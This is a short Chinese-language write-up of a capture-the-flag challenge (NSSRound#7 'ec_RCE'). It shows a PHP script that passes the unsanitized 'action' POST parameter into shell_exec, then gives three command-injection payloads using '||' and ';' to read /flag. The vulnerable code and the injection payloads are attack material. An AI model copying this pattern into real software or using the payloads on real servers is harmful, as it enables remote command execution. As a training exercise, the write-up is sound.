NSS [NSSRound#7 Team]ec_RCE
源码如下:
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
题目有提到断言构造,问问人工智障。
解释一下shell_exec()
exec()与shell_exec():exec()与shell_exec()相似,都可以执行系统命令,不同的是返回结果不一样,前者返回最后一行,后者返回全部信息。直接使用两者返回是没有回显的。(执行不输出,输出得$a=shell_exec(命令);echo $a;) //只有一个参数
所以我们只需要构造shell_exec(“/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar+管道符+命令”);就行了
action=||&data='cat /flag'
action=||cat%20&data=/flag
action=;cat /flag&data=